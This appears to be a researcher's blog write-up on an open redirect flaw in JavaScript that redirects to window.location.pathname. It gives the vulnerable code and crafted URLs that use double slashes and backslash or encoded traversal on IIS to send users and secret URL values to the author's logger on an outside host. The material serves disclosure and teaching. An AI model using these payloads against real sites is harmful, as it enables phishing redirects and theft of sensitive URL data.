I found this issue in a website and I thought it would be nice to share the info.

If you search “window.location = window.location.pathname” in Google, you will see some people are using this method for redirection purposes. This can make a website vulnerable to Open Redirect issue though. In fact, if there is any sensitive value in the URL, it can be sent to the attacker as well.

Quick reference: when you are in “http://sdl.me/something/file.ext?p=v#h=g” page, “window.location.pathname” in Javascript will return “/something/file.ext” as the value.

Now if you use this “pathname” value for redirection without having any validation, it can lead to Open-Redirect vulnerability. This happens when “pathname” starts with two slash characters “//” instead of a single slash character with a valid domain-name afterward. However, it is not easy to start the URL path with two slash characters and a domain-name and point to the vulnerable page at the same time!

Here is a vulnerable sample page: http://sdl.me/tips/js-location-pathname.html

It contains the following vulnerable JS code:

//
window.location = window.location.pathname + '?Secrets=SecretValue1#MoreSecrets=SecretValue2!';
//

Now I like to redirect the user to my fake logger which is located at: www.secproject.com/demo/showmyinfo.php

First solution?

I was thinking to use directory traversal method to have my target domain in the URL and also point to the vulnerable page:

http://sdl.me//www.secproject.com/demo/showmyinfo.php/../../../tips/js-location-pathname.html

However, when I open this page in any browser, it strips out my logger URL before it sends the request to the server, and it becomes like this:

http://sdl.me//tips/js-location-pathname.html

Note: It still keeps two slash characters, and this fails the redirection as http://tips/ is not available. This behaviour can be used as a detection technique for this issue though!

Anyway, this method does not work and I failed!

Second try:

My vulnerable page has been hosted in a Windows host with IIS. This means, there is no difference between a slash and a backslash and their encoded values in the path! As a result I found this solution to keep my logger URL and also open the target page:

http://sdl.me//www.secproject.com/demo/showmyinfo.php/\..\..\../tips/js-location-pathname.html

However, this only works in Firefox and I have to use encoding for IE and Google Chrome:

http://sdl.me//www.secproject.com/demo/showmyinfo.php/%5C..%5C..%5C../tips/js-location-pathname.html

Job done! Success!

Now I can redirect the user to my dangerous page and hijack the secrets in any browsers!

Conclusion:

This issue is exploitable if the website with a vulnerable page

1- has been hosted in a Windows host with IIS!

2- has a URL-rewrite rule that still serve a page that contains the vulnerable JS.

3- has an error handling page (404 page?) that contains the vulnerable JS.